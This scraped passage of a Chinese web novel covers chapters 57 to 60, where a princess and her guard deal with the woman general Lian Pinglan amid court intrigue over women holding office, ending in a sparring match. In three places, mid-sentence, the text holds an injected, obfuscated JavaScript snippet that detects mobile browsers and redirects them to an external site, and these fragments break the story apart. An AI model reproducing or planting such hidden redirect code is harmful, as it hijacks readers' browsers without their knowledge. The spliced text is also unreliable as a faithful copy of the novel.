就是现在搏输了，她也让公主府在这段时间不得不护着苏沁。 毕竟，若是放苏沁自行回去后被别家笼络，真的下定决心诬告公主府，证词的分量会大不相同。 闻时月那日根本不是在怕苏沁因为一时惊恐弃了她。 她敏锐地察觉出，堂后有他人在场，所以急于将苏沁从这件事中摘出去。 这计划能出纰漏的环节实在太多，局中的任何一方都不可能突然失明失智任她摆布。 她不是不知道，只是走到这一步，再也顾不上那么多了。 57.平澜女将 春闱放榜那日，有一人终于从西南千里迢迢回到了京城。 “坐下吧，别在窗边来回晃悠了。你这是又和谁打了一架？谁又气着你了？”牧晓单手托腮笑着问芒夏，“回来的路上有什么不顺利的地方么？” “殿下，别提了。”芒夏把窗边的凳子提到案前，瘫到椅背上，“这是和京郊那片林子犯冲吗？这次回京，还是那片林子附近，一个提着长枪的女将军，喊着‘燕统领’‘燕统领’，骑马就冲了过来。” “我寻思她这是喊谁呢？等她到我面前停下，我才想起，当年要给我们几个报正式身份，让我们一人抽了一个姓——除了连冬。她原本就姓连。不熟悉之人确实会这么喊我。” “那个女将军自报家门，说她就是连平澜，负责北边定襄城那块、大名鼎鼎的那个连平澜。她之前在宫里的时候就见过我，听了我前几年和殿下在西南的事，久仰大名，想和我比试比试。”芒夏道，“我和她说，我跑了好几天的马，急着回京复命。” “她说她在京城这段时间，实在闷得难受，找不到能同她过招的人。好不容易来京郊跑马，远远看见我，实在欢喜。” “我就和她试了几招。” “就这么几招，五城兵马司的人就来了。”芒夏现在想想就觉得又好气又好笑，“上次京郊那么大阵仗，五城兵马司的人根本不见影。这次倒好，切磋几下，立刻就来人了。” “没罚你们？”牧晓挑眉问道，“切磋不去校武场，在京郊他们自然要管。” “没有是没有，甚至没问我要令牌——他们好说歹说，把连平澜劝回了城里。”芒夏撇撇嘴，“连将军人爽利，和她过招也是真畅快。她的长枪能称得上出神入化。” “要是我换个再趁手些的武器，能打得更好。” “你没和她约下次再战？”牧晓对身边这些武痴见怪不怪。她自己将重心放在练武上时，也容易打上瘾。 “没有。虽然我真的很想。”芒夏坐直身子，正色道，“殿下，我听五城兵马司的人劝她时说，现在情况特殊，她这样最初靠女扮男装上战场的女子，还是在城中安分些为好。” “是京中发生了什么事么？” “是。”牧晓听到这话，神色认真了几分，“他们真的这样对连平澜？” 连平澜与连冬出自同族同辈。北边连家尚武，世代以定襄城为中心镇守边关。 这一辈中，名声最响、最出彩的就是连平澜。自幼习武，熟读兵书，女扮男装从军营兵卒一点一点拼杀出来的战功。进京受赏时，特批与当年武举的前三甲比试，三战三胜，一举成名。 “可不是么。”芒夏咬牙愤愤道，“连平澜进军营的时候，他们还不知道在哪条街偷鸡摸狗。女扮男装怎么他们了？要是前朝就允许女子光明正大为国效力，谁用得着女扮男装？谁稀罕。” 芒夏不负责与朝中事务有关的部分，牧晓也没仔细同她说过，她们的官阶爵位是来来回回争了多少次才争下来的。 朝中拉扯不全靠占理占义就能得到好结果，最挫人锐气。 让阵前日夜搏杀者因得不到应有回报而凉了热血，亦是阵后统筹人的无能。 “还有，他们发现我是公主府的人，目光在我和连平澜身上意味深长地转了许久，还不断问我们刚才真的是在切磋，而不是连平澜来找我寻仇么？”芒夏不解道，“这是什么意思？我们和连平澜平日里天南海北的，能有什么仇？” “更何况她还是先皇后扶过一把的人，不怀疑我们私下勾结就不错了，怎么还怀疑我们有仇？” “当年府中赶出去那个闻时月，女扮男装想顶替一位举子的功名，来我府上问我想不想加入她的计划，正巧被堂后官员听了全程，当堂抓走。”牧晓刹那间想清楚了五城兵马司中人这种态度的原因，简单叙述道，“这计划我没答应。但闻时月现在为了自保，死死咬住是我或是报官那方自导自演这点不松口。” “而报官那方，现在看来，顺势来了招祸水东引，试图将重点转移到女扮男装这个手段上，指责女子滥用这个手段，本就在破坏春闱、武举等朝中事的平衡，甚至质疑已出功绩的女子，也有借这手段顶替他人功绩的可能。” “连平澜，也被他们牵扯进来。” 欲加之罪何患无辞。改朝换代以来，有作为的女子数不胜数，这次非议的波及范围，经有心人刻意推动，比想象中还要大。 京郊截杀后，五城兵马司内部清洗，反而让当时还是兵部尚书的那位找到可乘之机，往里安插亲信。五城兵马司内部传出来的态度看法，足以说明许多问题。 “闻时月？就是当时还试图挑拨我和秋姐的那个闻时月？她还活着？”芒夏把“还”字咬得相当重，惊讶道，“真是祸害遗千年。她天天起歪心思。” “我当年见她身体不好，问她需不需要我帮忙扶到府医那里去。她见了秋姐，将杂七杂八的事揉在一起，转头暗示我要抢府中事务掌控权，收揽人心，好在殿下面前压秋姐一头——她脑子里不知都是些什么，成天斗来斗去，完全没法安生过几天日子。” “还有把这个作为异议提出来的人——照这么说，西南出了一个顶替战功的邢承远，就代表整个西南都是邢承远么？怎么当时没人这么说？就是闻时月，她能有邢都指挥佥事影响大么？”芒夏本就擅长争论，现在气不打一处来，恨不得揪着揪着每个这么想的人的衣襟，左右来上两拳让他们清醒清醒。 牧晓笑了笑：“理确实是这个理，但哪方的声量大，不是全由‘占理’二字决定。” 闻时月这件事对公主府能造成的影响有限，因为公主府的根基本不在这上面。就算放任不管，最多变成她与刘家之间的一笔糊涂账，不了了之。 不过，这对连平澜的意义就不同了。 “你知道连平澜为何会被困在京中么？”牧晓思索片刻后问芒夏，“我上次听到关于她的消息，是去年冬初，她用火药与毒烟球大破来犯狄人。” 冬季多北风与西风，按风向与北边城池位置，就算天干物燥容易起火，也不该用火攻类别的手段。 但连平澜就是根据这年气候的异常状况，算准了北风较弱的两日，借山地边缘因热差刮起的南风，不伤一兵一卒逼退狄人，而后趁他们来回奔袭、中毒疲惫之际，一举歼灭。 “这点有五城兵马司的人在场，我没来得及问。”芒夏回道，“不过看连将军的样子，是有地方受制于人。不仅因为那不着边际的争议，应该还有别的隐情。” “殿下是想帮她吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975047|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芒夏犹豫道，“虽然论私心我真的很希望连将军事事顺遂，但……”这和她们在西南定的方略不相符。 她们在西南与当地世代镇守的各家呈现相互制衡的关系。连平澜被困在京城，北方连家动弹不得，消息传过去，对西南各世家也是种变相敲打。 “想什么呢。她自己的困境，自会找破局之法。那是连平澜，不论是战场还是朝堂，她才是身经百战而不败的前辈。我随意插手很可能适得其反。”牧晓见她沉思，解释道，“不私下勾结，不鼎力相助，也不代表要任她被对方逼到我们的对立面上。” “她在京郊偶遇你，选择上前交谈切磋，不仅是在表明态度，也是在试探公主府对她的看法。” “爽利开朗是真的，粗中有细也是真的。” “听起来……殿下与她相熟么？我怎么之前没见连将军来过府上？”芒夏好奇地问。 “你常同我在一处，你没见过，我自然也没见过。”牧晓笑道，“不过，刚才提到，她去年冬初用的那个效果不错的毒烟球，方子是闻笙前几年调改出来的。” 百听阁售卖的信息多种多样。从帮学堂孩童解课业题、回答哪家店新进了什么种类的茶，到向商队提供盗匪较少的安全路线，再到需要与主事人亲自详谈的一些交易，应有尽有。 闻玄机急于找暮药师，一是希望与他合作，将毒烟球之类配上更有效的解毒方子，二是闻笙喜欢调改这些东西，长年累月下来对身体有损耗，想找暮药师看看有没有办法能恢复些。 连平澜在定襄城征民间工匠对这类武器的改进方案，百听阁投了，恰好被选中面谈。 “笙姐还是那么厉害。上次她指导再调的炭，也实在精准。”芒夏想到百听阁起火的前因后果，不由得感慨道。 “提到这个，你还没说西南新上任的都指挥佥事如何。”牧晓调侃道，“刚才站在窗边，怕不是魂都被连将军舞的长枪勾走了。说好着急回京复命的呢？嗯？” “刚才在窗边也没有光在想连将军，殿下可不要冤枉我。正事我也一件没少干。”芒夏摆出委屈的样子辩解完，端正坐姿认真说道，“刚才没进来就禀报这件事，是因这件事到我离开西南时，都不算尘埃落定。” “新上任的都指挥佥事，只能算临时兼任，根本没有在这个位置上一直坐下去的意思。” “我和惊春在西南讨论过多次。最后认为，根据现在的风声，京中很可能要再新派官员前往西南，且大概会是陛下身边亲近之人，用来挟制监督我们。” “将京中合适的官员盘算了一圈，我们觉得，最大可能就是现在的京卫同知，前兵部尚书之子刘章毅。” “要真是他，这新仇旧恨一起算，不论是在京中还是在西南，我们怕是更不得安宁。” “但这现在都还只是我和惊春的推测。”芒夏补上一句。 “和我想得差不多。我在去平良县前让你回西南，本就是以为，外调他为都指挥佥事的命令会很快下达……但显然，没有。”牧晓思索道，“刘尚书能那样干脆地请辞，亦有给族中小辈让位的意思。” “放任公主府这样下去，在西南一家独大，可不像我皇兄的做派。” “既然从哪边看皆是如此，那他们在等些什么呢？” 58.栽树乘凉 “你问我对连平澜和刘章毅是否熟悉？”苏墨清顿了顿，答道，“还行。前几日议事时刚见过。向来政见不合。” “能把你们几个聚一起，这是要有什么大动作？”牧晓眸光一闪，觉得这实在不同寻常。 “暂时还没争出具体动向来。简单来说，就是你皇兄想削弱各地镇边世家的势力，又不想让边关动荡，所以经常以各种理由召各方商议，力求将这件事推得平稳些。”苏墨清解释道，“这个争论现在对公主府相当有利。你近期想做的事，大可放手去做。” “怪不得。”牧晓想了想，眼里带上笑意，“怪不得我让芒夏回西南主持府里开的武试，明着和地方武举错期抢人，都没闹出多大动静。” “这其实还得感谢连将军。”她感慨道，“她当年在定襄城顶着非议自开武试，现在我只能算是前人栽树后人乘凉。” “与镇边世家相比，容我抢点人，就好接受多了。毕竟我人在京中，皇兄一道旨意就能处置，看起来更令人安心些。” “他一时半会不仅不会想处置你，甚至对你的所作所为乐见其成。”苏墨清接道，“现在，在他眼中，你同他毕竟是一家人。” “听起来挺荒唐的。”牧晓无奈地笑道，“好像很久都没和他做过这样亲近的‘一家人’了。门口有狼群，终于觉得我的存在没那么让人难以接受。再让他选一次，不知他是否还会选择开洛水刑场。”意识到铁血手段不能长久解决所有问题，现在情况变了，正需要换种方式。 “刘家与连平澜又有什么仇怨？最近闻时月那件事，一直试图把连平澜拖下水的就是刘家。” “仇怨……据我所知，刘家现在想撮合刘章毅和连平澜。”苏墨清思索道。 “嗯？他们不是各有婚配么？”牧晓有些意外。 “他们年少时也曾到谈婚论嫁的地步。当时连平澜在北边已打出些声量，想招刘章毅为婿，但两方没有谈妥，在前朝环境下各自嫁娶。” “前朝覆灭时，连家要连平澜带兵进京勤王，刘章毅前去说动，拦了下来。” “先帝开的第一场武举，武状元就是刘章毅。当时连平澜正好进京，先帝原想挫挫她的锐气，在先皇后的建议下，让她与前三甲比试。连平澜全胜。” “前些年，刘章毅的夫人与他和离，连平澜的夫婿战死，两人都没有再招娶。” “连家其实算不上什么开明人家，原本男女皆习武只是个噱头，不曾想真出了一个连平澜。” “刘家在外人眼里一直算是连平澜在朝中的靠山与知己；连平澜有意无意间，也为刘家做了些零零散散的遮掩。”苏墨清想了想，举了个例子，“比如上次平良县，兵部没有及时清理封冻驿道，事后报上去的借口是，将官吏优先调去处理通往北面边关的那条道，一时人手短缺。” 借刘家的力，连平澜将父辈与祖辈完全架成了徒有其表的空壳，成了北疆多年来的实际掌兵人。 若是她当年没有选择揭下女扮男装这层其实无关紧要的皮，或许早就能凭着战功，与刘家官职最高者平起平坐，而不是像现在这般，无论如何都撕不去那些“空壳”。 即使世人皆知那是空壳。 一直披着男装的皮，拿到应有的官职、爵位、奖赏，如履薄冰到被发现的那刻……连平澜或许真的想过这条路，但没有选。 改朝换代之际，她本就不想勤那从未认可过她的王，向往新君宣扬的“开明”，悍然抗了连家的命，临场投身那惊天一赌，试试能不能为自己赌出片更辽阔的天地。 那场赌赢了，她终于能在武举场上光明正大展示自己的实力、在战场上施展自己的才干、在各处声名鹊起……但也仅限如此。 她还是必须装饰那些内里腐朽不堪的空壳，用自己的才华为他们织就华冠丽服，再将这些空壳顶在头顶跋山涉水、征战沙场。 为何她总为那些空壳做嫁衣裳？ 甚至在成名二十余载后，听到自己一直以来的“知己”软硬兼施地问：要不要，再做一件嫁衣？ “所以，刘家提出结亲，她真的会为难。”牧晓垂眸道，“她得不到战功对应的官职爵位，有实有名，但始终名不正。” “以我的视角看，刘章毅被调去西南的可能性极大。但这还未成定数，连平澜是看不到的。” “若是刘家暗示她刘章毅会外调到北疆，对她而言绝对算得上助力。” “但若到头来发现刘章毅还是调往西南，而宫里真的下了让她一起前往的调令，再后悔就有些迟了。” 是在京中临场抗命，还是顺势前往西南，协助制衡公主府的同时，再开一条新路？不论怎么选，都不是坦途。 “这么算计她……但北疆真的离得开连平澜么？”牧晓思忖道，“我怎么记得，我当年问先生时，他说没有连平澜的北疆，并不像现在这样安定？” “大概正因北疆现在已算安定，甚至连家内部都能找到不如她出色，但足以控制住局面之人，所以才想将她调往西南。”苏墨清淡淡道，“西南现在外患暂时不足为惧，但内忧仍错综复杂。你当时选这片封地，不也是看准了这点，想冒险一试么？” 安定的局势中需要先打破现有局面，才好谋出真正属于自己的势力。而本就不稳的复杂之处，险中求富贵，更容易得手。 “就不能是想跟你走么？”牧晓反问后，失笑道，“好吧，我承认我十三四的时候确实是这样的想法……不是，我们两个都放弃再装一下了么？” “挺好的。那我可直接问了？”牧晓轻敲几下桌面，抬眸问他，“连家是北疆大族，连平澜始终有同族在背后虎视眈眈。我怎么记得你家也不是从你父亲那辈才开始镇守西南的？我之前没细想，现在想想，你家其他人呢？” 怎么她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978845|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见过的，只有延国公府里那几位。而她在西南借苏家的声名聚集人手时，也没有别的苏家人跳出来说她实际上也名位不正。 见对方定定地看了她一会，明显开始斟酌一个委婉的回答，牧晓先笑了一声：“别找说辞了。我就知道。当年在我皇兄登基前能和他结盟，光靠什么才华背景之类是不够的。后来的耗材，也不是谁都能当的。”能和他们坐一桌的能有什么心慈手软之人。 “他洛水刑场那斩草除根的样子，说不定还是受了你的启发。” 苏墨清顿了顿：“也没有做到……”也没有做到把人都送上刑场、斩草除根这个地步。 但想起自己当年做得也不是都那么光彩，若是对方继续问“那你是怎么做的”，一样不好答，他沉默片刻后承认道：“道理确实是这个道理。” “第二个问题。这么清楚连平澜和刘章毅之间的事，看起来你们虽然政见不合，但私交算得上不错？”牧晓继续问道。 “刘尚书与我父亲表面关系一直不错。我与刘章毅，在刘家对西南动心思前，确实关系尚可；但利字当前，谁都不会手下留情。”苏墨清道，“至于我为什么会清楚他们两个的事……” 他想到此处轻笑一声：“当年我在公主府门口敲了他弟弟，他没兴师问罪，反而同我说，若是动了真心，不如惜取眼前人。两全的办法总是有的，若是就那么错过，日后有得是追悔莫及的时候。” “我当时，知道他家对你起的心思，不想同他多说什么，直接问他，怎么听起来像是很有心得的样子，那他当年怎么办了？他又一声不吭走了。” “后来发现，每次有连平澜的场合，他说话都收敛许多，就问了问。” “等等，刘家当年想继续撮合刘章毅和连平澜，还想让他弟弟进我的门；本身因当年匡扶社稷的功勋，一门双高官，还暗中勾结西南的邢承远……这些还不是全部。这么多年名声不响，但根扎得却深。万一真的都成了，谁能容得下他们？”牧晓疑惑道。 “现在，这不是一个都没成么？”苏墨清反问道。 “确实。”牧晓想了想，笑道，“怪不得给我找那么多麻烦。我还真不知不觉坏了他们好多事。” “既然连平澜在京郊遇上你的人，还上前切磋交谈。”苏墨清分析道，“就是这次，她也必然不会答应刘家的结亲。” “这么肯定？”牧晓挑眉问道。 “因为她显然看到了希望。”苏墨清望着她的眼睛回道，“困住她的无非是女子不能正式为官、上朝、封侯等事。” “但你身边，两位女官都是超擢，越了本该被限制住的品级。” “而她在京郊拦的那位，本不是女官，但因功得了品级。” “这种事，有了第一次，就会有第二次。” “你每次的据理力争，从未白费——即使有时看上去没有结果。” 59.贿赂相邀 “等等，你再说一遍。”牧晓有些不敢相信自己听到的话，猛地站起身，上前几步拿过芒夏手里的信件，“我似乎听错了什么。” “殿下，连平澜将军说，她要贿赂我们。”芒夏面色古怪，一字一字说道。 听到传话人说这句话，她没敢拆这封据说是请帖的信件，直接原封不动拿到牧晓面前。 “贿赂”二字是能这样在大庭广众之下说的么？ 牧晓将薄薄的信件来来回回打量几番，神色凝重地抬头对着窗外日光照了照，怎么看都没看出什么端倪，只得认命地叹了口气，拆了信件。 到底要做什么，还得看了才知道。 “殿下，”芒夏看着牧晓变幻的神色，小心翼翼道，“是什么鸿门宴的请帖么？” 牧晓缓缓抬头看向她，将手中的信递出去，突然如释重负地笑了起来：“这个‘贿赂’好。去准备准备吧。” “连将军下的战帖。你们能好好切磋一番了。” “那日你气不过的那件事，也可直接讨回来。” 芒夏听后双眸一亮，接过信低头看了看，疑惑道：“这上面不是只写了已得陛下批准，邀公主府众人去京郊卫所教场切磋么？” 极短的几行字一气呵成，落笔见锋芒，行笔沉厚自带铁骨，收笔潇洒落拓，见字如见人。 “五城兵马司并无专属校场，常借京卫教场。”牧晓笑着从她手中把信抽回来欣赏，“春闱后不久，就是武举会试。这个关头，对习武切磋的关注甚高。” “练武这种事，抬手就能知虚实。看来京郊交手，连将军对你的评价也相当不错。” “连将军这事做得敞亮又体面。”牧晓叹息道，“原是我小人之心度君子之腹。” 芒夏在京郊与连平澜相遇后，牧晓在通政司发现朝中多了一种声音：将连平澜调去西南任那都指挥佥事之职。 能让连平澜如愿以偿获得属于自己的官阶，能将她从根基所在的北疆拔走，能让刘家继续站在她身后潜移默化操纵影响，能将女子为官这个异端变数死死锁在情况复杂的西南…… 牧晓自己站在公主府的角度上，对这个方案都生不出什么抵触之意——封地上白得一位能征善战、军政皆通的女将军，且在当地根基不深，能与她互为依仗。 这似乎是所有人都能欣然接受的方案。各退一步，海阔天高。 连平澜会同意么？她能舍得下深深扎根的北疆么？ 若是同意，她会选择与公主府结盟，还是继续为刘家提供遮掩？ 若是不同意，她会拿出什么样的应对之法？ 与公主府合谋演一场论“谁更有资格为官”的推拉牵扯，向朝中表明现状对她不公？借武举约战各方，再次展示自己的实力？或者直接踩公主府向上走？ 平心而论，现在的情况下，不论连平澜为了达成目的做出什么样的选择，牧晓都不会感到奇怪。 她不好直接接触连平澜，所以做了各种准备，密切关注各方动向，尽力分析任何一丝异动…… 而现在，牧晓将信举起，抬头对着窗外日光反复端详那几行字，从中看到了新的可能。 连平澜说，何必困在他们的闹剧里。 光明正大地互相了解一下吧。 到底有没有两全的解法，要试了才知道。 “也不用有压力。这种方式，输赢并不重要。”牧晓说完，放下手中信件，转头看向芒夏。 而后发现，芒夏满脸写着期待和激动，恨不得现在就从窗口跳出，三步并作两步飞到卫所教场去。 牧晓笑着摇摇头，想起压力二字从来与芒夏毫不相干——她面对刀锋和挑战，向来只会更加兴奋。 · 越过教场入口斑驳的青石碑，行过路旁站立的兵士，两方带着身后众人，在箭靶墙附近相遇。 “连将军，兴会。”牧晓与连平澜相对拱手一礼后，站定对视几息。 连平澜的目光深邃且极有力量感，抬眸时英气逼人，但下一瞬含上笑意，历经风霜雨雪后的宽和与睿智极富魅力。 未曾多言，连平澜伸手取弓，转向墙面草靶，架弓连搭三箭，动作行云流水，箭箭正中靶心。 “臣先行献丑。”连平澜抱拳后，将弓双手递与对方。 她听过对方在玄岫城头的那一箭，明白对方并不需要换弓或她刻意相让。 连平澜看到昭灵公主掂了掂弓，微微一笑，伸手接箭，却没有转向正对的靶，而是侧身弯弓，三箭寒光接连闪过，斜向与她先行的前三箭贯穿同一靶心。 “承让。”牧晓将弓交与旁人，抱拳颔首。 两人相视一笑，无需多言，气氛骤然一松。 两方掌权人亲自热场，朝中派来的监阅官宣读完规则，两边都不再拘束，有序寻自己合眼缘的切磋者与趁手的兵器，四散比试各项。 而校武场中央擂台，实行守擂攻擂制。限定极短的回合，几回合内未攻擂成功者，即需下台。任何参试人皆可上台反复挑战，最后成功守擂者，由连将军亲自指导验试。 教场切磋兵器皆不开刃，枪用钝头，长刀刃口磨平，严禁下死手，点到为止，但凌厉的招式锐气不减。 虽然规则完全没有限制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983013|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攻擂守擂者的身份，但参试之人几乎相当有默契地按原本归属分成两派，与自己的战友合作，轮番对战。不硬守这擂主之位，在台上时拼尽全力，因未成功下台后也并不气馁，观察对方破绽再行上台尝试。 几轮下来，原不相识也不相融的两方互相见招拆招，点破对方的弱点，也发掘自身的不足，渐渐与对方生出几分惺惺相惜之意，在擂台下也不再分站两边，开始闲谈交流起来。 场中不参试的几位在校阅台观战、叙话。 “这几位出自连将军亲练的那支尽为女子的连家军？好身手。”擂台上银锋闪烁，牧晓观察着长枪大开大合的招式动向，询问一同坐在主位上的连平澜。 “正是。”连平澜则饶有兴致地看着公主府中人手中的长刀，声音沉稳平和，“殿下这边奇人异士不少，这等章法与发力角度极有特色。同殿下本人的路数有异曲同工之处。” 牧晓不知她说的“路数”二字是指行事还是练武，想了想，问道：“连将军见过我习武？”能在宫中见过芒夏并在多年之后认出，暗中与她有过几面之缘也不足为奇。 “当年在先皇后那处，确实有幸见过殿下与人对招。当时未曾上前打扰。”连平澜回想当时情景，简单解释后，不再继续说下去，而是抛出一个问题，“殿下觉得，这两方谁能赢？” 擂台上，长枪横扫后上挑，被刀锋斜劈止住。 “若是当年见过我，连将军问这个问题，确实理所应当。当年胜负心重，在连将军眼中想必错漏颇多。”牧晓直言道，“连将军何必试探。以这种方式费心相邀，她们是输是赢都不再重要。” 每场切磋回合到了，连输赢都不必分。要看的，只是她们熠熠生辉的锋锐；要的是她们不用人多言，也不用刻意撮合伪装，在切磋中自会生出英雄惜英雄的情谊。 牧晓不谈情谊，单问连平澜：“连将军想借这份锋锐做什么？相邀时又何谈贿赂二字？” 枪杆中段被攥住，长刀顺势扫过，又被急速旋了半圈的枪尖卸去力道。 连平澜反问：“殿下仍认为我要借这锋锐牟利？仅是因为关联上‘贿赂’二字么？” “贿赂，可不仅能指钱权。” “这是先皇后在宫中对我所言。” 牧晓沉默片刻，心中隐隐有所猜测，但还是说：“恕我愚钝，不能明白连将军之意。” 连平澜听后笑了笑：“殿下真是相当谨慎，与我印象中不同。我以为，殿下会先谈情，后谈利。” “以武识人，看来也得与时俱进。” “不知殿下等会可有下场之心？” 60.情利收放 擂台边的参试人越聚越多，但不再轮番上台。 台上两人已接连打了许多回合，难分胜负。在擂台规则下，实力旗鼓相当时，守擂者更具优势。 “殿下身边这位燕统领，反而与殿下的路数截然不同。”连平澜若有所思道，“不知殿下是否方便透露，先皇后怎样选出殿下身边春夏秋冬这四位？” “连将军的手下连家军的训练方式，，可否透露？”牧晓反问道。 连平澜爽快答应：“当然可以。这并非什么秘密。若是以相同的方式训练，便能得到相似的连家军，定襄城内主位定会花落旁人。明日仔细整理一番，即刻送到殿下府上，权当看着解闷。” “连将军好气度。”牧晓也不再掖藏，解释道，“我这四位，与其说是确定的四个人，不如说是既定的四个位置。” “当年参试者大多本就无名，或因各种原因自愿放弃原有姓名。” “这四个名字更像是四份荣誉。她们本就是当年成功多届的守擂者，自然各有不凡之处。” “先皇后这种选人方法有趣。不用刻意培养，自能选拔出合适之人。”连平澜思索片刻，想到京郊相遇的场景，问道，“她们的姓氏从何而来？京郊一遇，燕统领似乎对这个称呼并不算熟悉。” “姓氏……因为我并不赞同母后的这种方式。将这四人真正交与我，自然要按我的方式来。”牧晓答道，“我曾问过她们原本的姓名。但除了与连将军同族的连冬，她们甚至不愿说出自己从前的名字，也无意换回从前姓名。” “即使是连冬，也坦言自己当初便是盯着这个位置而来，当初的姓名对她没有意义。她想留住自己的姓氏，但自觉志不在沙场，又不愿被连家埋没。” “所以除连冬外，另三人的姓氏是自行抽出的。” “西南的惊春已习惯他人称她‘齐长史’。芒夏也总有一天会习惯她为自己抽出的姓氏。” 而露秋，恰好抽到了先皇后的“楚”姓。 连平澜默然许久。 许多女子的姓名本不承载父母的美好期许。有些只是便于随口称呼的幼名，有些甚至强加上父母针对这个性别的不满与恶意。 在原本与善无关的姓名前，一个能关乎荣誉地位的名字，足以让当年懵懂却不甘的她们破釜沉舟。 “我倒是好奇，”牧晓侧头看向连平澜，“连将军其实并不清楚我身边人是否名实相符。若是京郊一试，让连将军大失所望，连将军会用什么办法破局。” “其实大可不必试。”连平澜笑道，“也是我太过谨慎，才有这两试。” “先皇后认可，殿下亲推，玄岫城未破，朝中许官……这些原就足够了。” “不超旁人数倍，本朝女子如何坐得上相应的位置？” “即使不提‘位置’二字……”连平澜与牧晓对视，“殿下刚才所说的武艺生疏，我不知真假。但当年能让书香门第支持女儿习武，殿下这方面定有过人之处。在宫中时，我只于远处看了皮毛，现在实在有些好奇，想领教一番。” 两人视线转回擂台上，连平澜评价道：“其实燕统领这擂主之位已无可动摇。规则是守擂，她有几次本可直接让对方失去行动能力，但大概还是因这只是切磋，收了手。实力不相上下是真，利用并遵守规则也是真。” “殿下刚才提及我同族的连冬，让我联想当年的一人。” “惊才绝艳是不错，但出手必冲着要人性命而去，也难与战友配合。” “现在殿下那里能找到合适的位置，看来还是我取才留才标准太过刻板。” 连平澜叹息完，擂台上终局已定。 燕芒夏扶起对手，一同向高台上示意。 连平澜与牧晓起身，想一同走下校阅台，却听到擂台上的燕芒夏高声道：“殿下，连将军，各位大人，下官有一不情之请。愿向京卫教场中诸位继续讨教。” 擂台下聚集的众女子不论哪方纷纷拱手复议。 朝中监阅官不敢言，看向主座上二位。 连平澜微微诧异了一瞬，见身旁的牧晓一副早有预料的模样，思索片刻，对监阅官与京卫教场中观战的几位官员道：“陛下特批将这教场借与我等用一日，自然是兵器、场地与人都借，切磋范围亦未限定。” “论武而已，维持好基本秩序，切磋对手自然不必局限。”牧晓慢慢说道。 主位二人皆发话，无需他们担责，在场诸位自然没什么异议。 又有了新对手，校武场内再次沸腾起来。 以武相识的两方再不分你我，拉着对方轮流做评判人，商讨对策。 连平澜观察片刻，对牧晓笑道：“因为那日五城兵马司的人？真是年少气盛。这心气是殿下护得好。” “一部分。”牧晓回道，“连将军耳中都能听到那番言论，她们听到的，从来只多不少。” “现在，两方这情谊，可超乎连将军预料？” “先谈利还是先谈情，都殊途同归。” 决出擂主后会做何事，会请何愿，本就那样几种——继续向上挑战，或是巩固刚打出的情谊。 连将军说会指导胜者，自然会做到。而与连家军那样多女子交锋后，心境变化，与连将军本人再战，倒显得没那么重要了。 “现在，”牧晓拿起自己放在一旁的长刀，“连将军可否明示规则？” “容晚辈上前讨教。” · “她们这是什么规则？”刘章毅往苏墨清右侧隔案位置上一坐，“唯一一场拿开刃刀枪切磋，但规则是不能伤到对方，不免有些束手束脚，哪有刚才擂台上精彩？” “但毕竟刀剑无眼，真不怕伤到你家公主？” “你就在这边装个花瓶文臣？不下场露两手？” 见对方不回应，刘章毅啧了一声，压低声音道：“议事时不是仗着你和……是一家人，挺能说的么？说好公私分明……” “比刘大人只能杵在此处当令箭强。”苏墨清看着擂台上不冷不热回道，“刘大人若是外放，有人在刘大人将要斩下敌军首级时突然冲出，以帮助之名替刘大人下最后一刀，不知刘大人作何感想？” “至于她们的规则和战局，刘大人怕是看走眼了。” “你和台上那位平时也这么说话？你倒说说，我哪里看走眼了？你不能因为……”不能因为向着昭灵公主就这么说。 “就是没有规则限制，也精彩不起来。”苏墨清道，“谁和她对练都会觉得别扭，都得防武器脱手。” 刘章毅眯起眼睛仔细看了一会，看出点门道：“发力方向一直变，身法还快……别说，刚才那刀转得角度相当奇特。不是平澜不想回击，这个角度回击不好发力。” “怪不得不精彩。对方挥出的招式能避开，只要正面硬接下一招，后续缠斗的过程就让对方难以发挥优势。” “这是师出何门？怎么路子这么……诡谲。” “不用上战场的高门子弟习武，一般先学舞剑之类，再来点好看讨巧的架势。” “这位还真不是花架子啊？” “师出何门与她怎么打完全没关系。应该是当年为此研究骨节筋络琢磨出来的。”苏墨清看着长刀再次斜向弹开枪杆，低声重复道，“花架子……她也会。但她家当年就不喜这个。” “她只是想赢。”当年整个牧府都是。 “这也赢不了啊。”刘章毅目光在刀枪交锋处顿住，“能躲开，能挑开，能借力甩向另一侧，但没法近对手的身，也做不到让平澜这个级别的对手武器脱手。” “这公主殿下的体力也很难比得上平澜，到最后还是要认输的。” “擂台太空了。没有什么能让她借力的地方。如果放府院街巷中……”苏墨清定定地盯着擂台上。 但现在没有如果。这题你会怎么解？ 